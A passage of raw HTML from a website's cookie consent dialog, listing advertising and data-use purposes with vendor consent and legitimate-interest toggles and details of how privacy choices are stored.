aria-label="Back" tabindex="0"><span class="notranslate" aria-hidden="true"><svg width="24" height="24" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.41L7.83 13H20v-2z"></path></svg></span></button><div class="fc-data-preferences-header"><p>Data preferences</p></div></div><div class="fc-dialog-content"><div class="fc-dialog-scrollable-content"><div class="fc-header fc-dialog-restricted-content"><h1>Manage your data</h1></div><div class="fc-body fc-dialog-restricted-content"><p>You can choose how your personal data is used. Vendors want your permission to do the following:</p></div><div class="fc-preferences-container"><div class="fc-preference-divider"><p>TCF vendors</p><button class="fc-help-tip" data-title="What does TCF mean?" data-full-info="This vendor is registered with the IAB Europe Transparency and Consent Framework and subject to its policies." role="tooltip" aria-label="This vendor is registered with the IAB Europe Transparency and Consent Framework and subject to its policies." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Store and/or access information on a device</h2></div><div class="fc-preference-description"><p class="fc-purpose-feature-description fc-truncated-3-line">Cookies, device or similar online identifiers (e.g. login-based identifiers, randomly assigned identifiers, network based identifiers) together with other information (e.g. browser type and information, language, screen size, supported technologies etc.) can be stored or read on your device to recognise it each time it connects to an app or to a website, for one or several of the purposes presented here.</p><a class="fc-purpose-feature-more-info" role="button" aria-label="View details, Store and/or access information on a device" tabindex="0" data-purpose-id="1" data-name="Store and/or access information on a device" href="#">View details</a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent (119 vendors)</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent (119 vendors), Store and/or access information on a device" aria-pressed="false" tabindex="0" class="fc-preference-consent purpose" data-id="1"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Use limited data to select advertising</h2></div><div class="fc-preference-description"><p class="fc-purpose-feature-description fc-truncated-3-line">Advertising presented to you on this service can be based on limited data, such as the website or app you are using, your non-precise location, your device type or which content you are (or have been) interacting with (for example, to limit the number of times an ad is presented to you).</p><a class="fc-purpose-feature-more-info" role="button" aria-label="View details, Use limited data to select advertising" tabindex="0" data-purpose-id="2" data-name="Use limited data to select advertising" href="#">View details</a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent (70 vendors)</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent (70 vendors), Use limited data to select advertising" aria-pressed="false" tabindex="0" class="fc-preference-consent purpose" data-id="2"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-purpose-2"><span class="fc-preference-slider-label">Legitimate interest (32 vendors)<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest (32 vendors), Use limited data to select advertising" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest purpose" data-id="2" id="fc-preference-slider-purpose-2" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Create profiles for personalised advertising</h2></div><div class="fc-preference-description"><p class="fc-purpose-feature-description fc-truncated-3-line">Information about your activity on this service (such as forms you submit, content you look at) can be stored and combined with other information about you (for example, information from your previous activity on this service and other websites or apps) or similar users. This is then used to build or improve a profile about you (that might include possible interests and personal aspects). Your profile can be used (also later) to present advertising that appears more relevant based on your possible interests by this and other entities.</p><a class="fc-purpose-feature-more-info" role="button" aria-label="View details, Create profiles for personalised advertising" tabindex="0" data-purpose-id="3" data-name="Create profiles for personalised advertising" href="#">View details</a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent (96 vendors)</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent (96 vendors), Create profiles for personalised advertising" aria-pressed="false" tabindex="0" class="fc-preference-consent purpose" data-id="3"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Use profiles to select personalised advertising</h2></div><div class="fc-preference-description"><p class="fc-purpose-feature-description fc-truncated-3-line">Advertising presented to you on this service can be based on your advertising profiles, which can reflect your activity on this service or other websites or apps (like the forms you submit, content you look at), possible interests and personal aspects.</p><a class="fc-purpose-feature-more-info" role="button" aria-label="View details, Use profiles to select personalised advertising" tabindex="0" data-purpose-id="4" data-name="Use profiles to select personalised advertising" href="#">View details</a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent (91 vendors)</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent (91 vendors), Use profiles to select personalised advertising" aria-pressed="false" tabindex="0" class="fc-preference-consent purpose" data-id="4"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Create profiles to personalise content</h2></div><div class="fc-preference-description"><p class="fc-purpose-feature-description fc-truncated-3-line">Information about your activity on this service (for instance, forms you submit, non-advertising content you look at) can be stored and combined with other information about you (such as your previous activity on this service or other websites or apps) or similar users. This is then used to build or improve a profile about you (which might for example include possible interests and personal aspects). Your profile can be used (also later) to present content that appears more relevant based on your possible interests, such as by adapting the order in which content is shown to you, so that it is even easier for you to find content that matches your interests.</p><a class="fc-purpose-feature-more-info" role="button" aria-label="View details, Create profiles to personalise content" tabindex="0" data-purpose-id="5" data-name="Create profiles to personalise content" href="#">View details</a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent (28 vendors)</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent (28 vendors), Create profiles to personalise content" aria-pressed="false" tabindex="0" class="fc-preference-consent purpose" data-id="5"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Use profiles to select personalised content</h2></div><div class="fc-preference-description"><p class="fc-purpose-feature-description fc-truncated-3-line">Content presented to you on this service can be based on your content personalisation profiles, which can reflect your activity on this or other services (for instance, the forms you submit, content you look at), possible interests and personal aspects. This can for example be used to adapt the order in which content is shown to you, so that it is even easier for you to find (non-advertising) content that matches your interests.</p><a class="fc-purpose-feature-more-info" role="button" aria-label="View details, Use profiles to select personalised content" tabindex="0" data-purpose-id="6" data-name="Use profiles to select personalised content" href="#">View details</a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent (24 vendors)</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent (24 vendors), Use profiles to select personalised content" aria-pressed="false" tabindex="0" class="fc-preference-consent purpose" data-id="6"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Measure advertising performance</h2></div><div class="fc-preference-description"><p class="fc-purpose-feature-description fc-truncated-3-line">Information regarding which advertising is presented to you and how you interact with it can be used to determine how well an advert has worked for you or other users and whether the goals of the advertising were reached. For instance, whether you saw an ad, whether you clicked on it, whether it led you to buy a product or visit a website, etc. This is very helpful to understand the relevance of advertising campaigns.</p><a class="fc-purpose-feature-more-info" role="button" aria-label="View details, Measure advertising performance" tabindex="0" data-purpose-id="7" data-name="Measure advertising performance" href="#">View details</a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent (77 vendors)</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent (77 vendors), Measure advertising performance" aria-pressed="false" tabindex="0" class="fc-preference-consent purpose" data-id="7"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-purpose-7"><span class="fc-preference-slider-label">Legitimate interest (46 vendors)<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest (46 vendors), Measure advertising performance" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest purpose" data-id="7" id="fc-preference-slider-purpose-7" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Measure content performance</h2></div><div class="fc-preference-description"><p class="fc-purpose-feature-description fc-truncated-3-line">Information regarding which content is presented to you and how you interact with it can be used to determine whether the (non-advertising) content e.g. reached its intended audience and matched your interests. For instance, whether you read an article, watch a video, listen to a podcast or look at a product description, how long you spent on this service and the web pages you visit etc. This is very helpful to understand the relevance of (non-advertising) content that is shown to you. </p><a class="fc-purpose-feature-more-info" role="button" aria-label="View details, Measure content performance" tabindex="0" data-purpose-id="8" data-name="Measure content performance" href="#">View details</a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent (32 vendors)</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent (32 vendors), Measure content performance" aria-pressed="false" tabindex="0" class="fc-preference-consent purpose" data-id="8"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-purpose-8"><span class="fc-preference-slider-label">Legitimate interest (14 vendors)<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest (14 vendors), Measure content performance" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest purpose" data-id="8" id="fc-preference-slider-purpose-8" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Understand audiences through statistics or combinations of data from different sources</h2></div><div class="fc-preference-description"><p class="fc-purpose-feature-description fc-truncated-3-line">Reports can be generated based on the combination of data sets (like user profiles, statistics, market research, analytics data) regarding your interactions and those of other users with advertising or (non-advertising) content to identify common characteristics (for instance, to determine which target audiences are more receptive to an ad campaign or to certain contents).</p><a class="fc-purpose-feature-more-info" role="button" aria-label="View details, Understand audiences through statistics or combinations of data from different sources" tabindex="0" data-purpose-id="9" data-name="Understand audiences through statistics or combinations of data from different sources" href="#">View details</a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent (57 vendors)</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent (57 vendors), Understand audiences through statistics or combinations of data from different sources" aria-pressed="false" tabindex="0" class="fc-preference-consent purpose" data-id="9"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-purpose-9"><span class="fc-preference-slider-label">Legitimate interest (22 vendors)<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest (22 vendors), Understand audiences through statistics or combinations of data from different sources" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest purpose" data-id="9" id="fc-preference-slider-purpose-9" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Develop and improve services</h2></div><div class="fc-preference-description"><p class="fc-purpose-feature-description fc-truncated-3-line">Information about your activity on this service, such as your interaction with ads or content, can be very helpful to improve products and services and to build new products and services based on user interactions, the type of audience, etc. This specific purpose does not include the development or improvement of user profiles and identifiers.</p><a class="fc-purpose-feature-more-info" role="button" aria-label="View details, Develop and improve services" tabindex="0" data-purpose-id="10" data-name="Develop and improve services" href="#">View details</a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent (67 vendors)</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent (67 vendors), Develop and improve services" aria-pressed="false" tabindex="0" class="fc-preference-consent purpose" data-id="10"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-purpose-10"><span class="fc-preference-slider-label">Legitimate interest (37 vendors)<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest (37 vendors), Develop and improve services" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest purpose" data-id="10" id="fc-preference-slider-purpose-10" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Use limited data to select content</h2></div><div class="fc-preference-description"><p class="fc-purpose-feature-description fc-truncated-3-line">Content presented to you on this service can be based on limited data, such as the website or app you are using, your non-precise location, your device type, or which content you are (or have been) interacting with (for example, to limit the number of times a video or an article is presented to you).</p><a class="fc-purpose-feature-more-info" role="button" aria-label="View details, Use limited data to select content" tabindex="0" data-purpose-id="11" data-name="Use limited data to select content" href="#">View details</a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent (12 vendors)</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent (12 vendors), Use limited data to select content" aria-pressed="false" tabindex="0" class="fc-preference-consent purpose" data-id="11"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-purpose-11"><span class="fc-preference-slider-label">Legitimate interest (3 vendors)<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest (3 vendors), Use limited data to select content" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest purpose" data-id="11" id="fc-preference-slider-purpose-11" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Ensure security, prevent and detect fraud, and fix errors
</h2><button class="fc-help-tip" data-title="Ensure security, prevent and detect fraud, and fix errors
" data-full-info="This is one reason that vendors use data. Data used for security or an essential function can't be turned off." role="tooltip" aria-label="This is one reason that vendors use data. Data used for security or an essential function can't be turned off." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></div><div class="fc-preference-description"><p class="fc-purpose-feature-description fc-truncated-3-line">Your data can be used to monitor for and prevent unusual and possibly fraudulent activity (for example, regarding advertising, ad clicks by bots), and ensure systems and processes work properly and securely. It can also be used to correct any problems you, the publisher or the advertiser may encounter in the delivery of content and ads and in your interaction with them.</p><a class="fc-purpose-feature-more-info" role="button" aria-label="View details, Ensure security, prevent and detect fraud, and fix errors
" tabindex="0" data-special-purpose-id="1" data-name="Ensure security, prevent and detect fraud, and fix errors
" href="#">View details</a></div></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Deliver and present advertising and content</h2><button class="fc-help-tip" data-title="Deliver and present advertising and content" data-full-info="This is one reason that vendors use data. Data used for security or an essential function can't be turned off." role="tooltip" aria-label="This is one reason that vendors use data. Data used for security or an essential function can't be turned off." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></div><div class="fc-preference-description"><p class="fc-purpose-feature-description fc-truncated-3-line">Certain information (like an IP address or device capabilities) is used to ensure the technical compatibility of the content or advertising, and to facilitate the transmission of the content or ad to your device.</p><a class="fc-purpose-feature-more-info" role="button" aria-label="View details, Deliver and present advertising and content" tabindex="0" data-special-purpose-id="2" data-name="Deliver and present advertising and content" href="#">View details</a></div></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Save and communicate privacy choices</h2><button class="fc-help-tip" data-title="Save and communicate privacy choices" data-full-info="This is one reason that vendors use data. Data used for security or an essential function can't be turned off." role="tooltip" aria-label="This is one reason that vendors use data. Data used for security or an essential function can't be turned off." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></div><div class="fc-preference-description"><p class="fc-purpose-feature-description fc-truncated-3-line">The choices you make regarding the purposes and entities listed in this notice are saved and made available to those entities in the form of digital signals (such as a string of characters). This is necessary in order to enable both this service and those entities to respect such choices.</p><a class="fc-purpose-feature-more-info" role="button" aria-label="View details, Save and communicate privacy choices" tabindex="0" data-special-purpose-id="3" data-name="Save and communicate privacy choices" href="#">View details</a></div></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Match and combine data from other data sources</h2><button class="fc-help-tip" data-title="Match and combine data from other data sources" data-full-info="This is one method that vendors use to collect data. You can't change data collection methods directly, but you can change what data you share and which vendors you share it with." role="tooltip" aria-label="This is one method that vendors use to collect data. You can't change data collection methods directly, but you can change what data you share and which vendors you share it with." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></div><div class="fc-preference-description"><p class="fc-purpose-feature-description fc-truncated-3-line">Information about your activity on this service may be matched and combined with other information relating to you and originating from various sources (for instance your activity on a separate online service, your use of a loyalty card in-store, or your answers to a survey), in support of the purposes explained in this notice.</p><a class="fc-purpose-feature-more-info" role="button" aria-label="View details, Match and combine data from other data sources" tabindex="0" data-feature-id="1" data-name="Match and combine data from other data sources" href="#">View details</a></div></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Link different devices</h2><button class="fc-help-tip" data-title="Link different devices" data-full-info="This is one method that vendors use to collect data. You can't change data collection methods directly, but you can change what data you share and which vendors you share it with." role="tooltip" aria-label="This is one method that vendors use to collect data. You can't change data collection methods directly, but you can change what data you share and which vendors you share it with." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></div><div class="fc-preference-description"><p class="fc-purpose-feature-description fc-truncated-3-line">In support of the purposes explained in this notice, your device might be considered as likely linked to other devices that belong to you or your household (for instance because you are logged in to the same service on both your phone and your computer, or because you may use the same Internet connection on both devices).</p><a class="fc-purpose-feature-more-info" role="button" aria-label="View details, Link different devices" tabindex="0" data-feature-id="2" data-name="Link different devices" href="#">View details</a></div></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Identify devices based on information transmitted automatically</h2><button class="fc-help-tip" data-title="Identify devices based on information transmitted automatically" data-full-info="This is one method that vendors use to collect data. You can't change data collection methods directly, but you can change what data you share and which vendors you share it with." role="tooltip" aria-label="This is one method that vendors use to collect data. You can't change data collection methods directly, but you can change what data you share and which vendors you share it with." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></div><div class="fc-preference-description"><p class="fc-purpose-feature-description fc-truncated-3-line">Your device might be distinguished from other devices based on information it automatically sends when accessing the Internet (for instance, the IP address of your Internet connection or the type of browser you are using) in support of the purposes exposed in this notice.</p><a class="fc-purpose-feature-more-info" role="button" aria-label="View details, Identify devices based on information transmitted automatically" tabindex="0" data-feature-id="3" data-name="Identify devices based on information transmitted automatically" href="#">View details</a></div></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Use precise geolocation data</h2></div><div class="fc-preference-description"><p class="fc-purpose-feature-description fc-truncated-3-line">With your acceptance, your precise location (within a radius of less than 500 metres) may be used in support of the purposes explained in this notice.</p><a class="fc-purpose-feature-more-info" role="button" aria-label="View details, Use precise geolocation data" tabindex="0" data-special-feature-id="1" data-name="Use precise geolocation data" href="#">View details</a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Use precise geolocation data" aria-pressed="false" tabindex="0" class="fc-preference-consent special-feature" data-id="1"><span class="fc-slider-el"></span></span></label></div><div class="fc-noneditable-body fc-dialog-restricted-content fc-lower-preference-divider"><p role="heading">How this consent management platform (CMP) works:</p></div><div class="fc-preference-divider"><p>CMP privacy choices</p></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Storage, duration, and usage details</h2></div><div class="fc-preference-description">The choices you make with this CMP regarding the purposes and entities will affect how personalized advertising is presented to you. We need to store these choices to respect them on future visits, and they are stored differently based on the type of site or app you're using:<ul><li>For <b>sites</b>, your choices are saved in a cookie named “FCCDCF” for a maximum duration of 390 days.</li><li>For <b>apps</b>, your choices are saved in device storage prefixed by “IABTCF_”. Your choices will be invalidated after 390 days and overwritten once you make new privacy choices on this app.</li><li>For <b>accelerated mobile page (AMP) sites</b>, your choices are saved in local storage prefixed by “amp-store”. Your choices will be invalidated after 390 days and overwritten once you make new privacy choices on this site.</li></ul></div></div></div><div class="fc-navigation fc-dialog-restricted-content"><button class="fc-navigation-button fc-manage-vendors" role="button" aria-label="Vendor preferences" tabindex="0"><p class="fc-navigation-button-label">Vendor preferences</p></button></div></div></div><div class="fc-footer-buttons-container"><div class="fc-footer-buttons-divider"></div><div class="fc-footer-buttons"><button class="fc-button fc-data-preferences-accept-all fc-secondary-button" role="button" aria-label="Accept all" tabindex="0"><div class="fc-button-background"></div><p class="fc-button-label">Accept all</p></button><button class="fc-button fc-confirm-choices fc-primary-button" role="button" aria-label="Confirm choices" tabindex="0"><div class="fc-button-background"></div><p class="fc-button-label">Confirm choices</p></button></div></div></div><div class="fc-dialog fc-vendor-preferences-dialog" role="dialog" aria-label="Confirm our vendors" tabindex="0" style="display: none !important;"><div class="fc-dialog-header"><button class="fc-dialog-header-back-button fc-vendor-preferences-back" role="button" aria-label="Back" tabindex="0"><span class="notranslate" aria-hidden="true"><svg width="24" height="24" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.41L7.83 13H20v-2z"></path></svg></span></button><div class="fc-vendor-preferences-header"><p>Vendor preferences</p></div></div><div class="fc-dialog-content"><div class="fc-dialog-scrollable-content"><div class="fc-header fc-dialog-restricted-content"><h1>Confirm our vendors</h1></div><div class="fc-body fc-dialog-restricted-content"><p>Vendors can use your data to provide services. Declining a vendor can stop them from using the data you shared.</p></div><div class="fc-preferences-container"><div class="fc-preference-divider"><p>TCF vendors</p><button class="fc-help-tip" data-title="What does TCF mean?" data-full-info="This vendor is registered with the IAB Europe Transparency and Consent Framework and subject to its policies." role="tooltip" aria-label="This vendor is registered with the IAB Europe Transparency and Consent Framework and subject to its policies." 